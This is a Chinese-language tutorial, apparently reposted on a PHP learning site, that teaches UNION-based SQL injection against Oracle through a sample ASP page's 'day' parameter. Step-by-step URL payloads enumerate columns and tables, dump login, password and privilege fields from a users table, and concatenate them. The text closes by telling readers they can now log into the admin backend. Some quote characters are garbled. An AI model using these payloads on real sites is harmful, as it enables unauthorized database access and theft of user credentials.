来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 作者 b0mb#qq.com不同的数据库有不同语法 注入语句也不同Code:https://www.2cto.com /calender.asp?day=7%20UNION%20SELECT%20NULL%20from%20dualndash;这个dual是oracle的一个伪表 他不存贮数据 就像一个......
作者 b0mb#qq.com
不同的数据库有不同语法 注入语句也不同Code:
https://www.2cto.com /calender.asp?day=7%20UNION%20SELECT%20NULL%
20from%20dual– 这个dual是oracle的一个伪表 他不存贮数据 就像一个临时表一样 一个借助的对象 具体自己百度 假如这是一个oracle注入点的话 会出现这样的错误
Code:
[Oracle][ODBC][Ora]ORA-01789: query block has incorrect number of result columns
现在我们来猜显示位 就像sql injection那样 不过不是1,2,3,4,5.。。。。 而是用null
https://www.2cto.com /calender.asp?day=7%20UNION%20SELECT%20NULL,NULL,NULL,NULL%
20from%20dual–
增加null 直到不出错
然后我们来猜 哪个显示位可以显示 就像sql injection那样
用’a’ 来代替null 看哪个不出错 就是哪个 当你找完显示位 我们就可以找数据库中的数据了要做到这一点 我可以使用”user_objects” 我们还可以用”object_name” 和”object_type”表名 来显示显示什么表的名称和类型是为用户指定的数据
code:
https://www.2cto.com /calender.asp?day=7%20UNION%20SELECT%20NULL,
object_name,object_type,NULL%20from%20user_objects–
tip:我们可以用all_user_objects来代替user_objects, 这个将会看到所有的信息 ,即使当前用户不拥有它的用户 我们现在看到了很多不同表的名称和类型 如果不这样做 你会得到错误
在我的例子里面我们只是在找user的表,下面我们来找表内的列名 就像这样user_tab_columns表
Code:
https://www.2cto.com /calender.asp?day=7%20UNION%20SELECT%20NULL,
column_name,NULL,NULL%20from%20user_tab_columns%20where%20table_name%20% 3d%20��’USERS��’–
tip:%3d 是一个url编码的数据等于and %20 也是url编码的数据 等于空格
现在我们来得到账户 密码 权限 列名 就像这样:
Code:
https://www.2cto.com /calender.asp?day=7%20UNION%20SELECT%20NULL,
login,password,priviledge%20from%20users– 现在你就可以登录后台了
tip:如果只有一列,它使用字符串数据类型,那么你可以连接多个列,像这样
Code:
https://www.2cto.com /calender.asp?day=7%20UNION%20SELECT%20NULL,
login||��’:��’||password||��’:��’||priviledge,NULL,NULL%20from%20user_objects–
这个就像concat函数在mysql里一样 不知道oracle 有没有group_concat函数 看来我得研究研究了
tip:这些都只是皮毛 如果你真的想学好oracle 就要在本地架设oracle数据库 然后找几本电子书来看 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com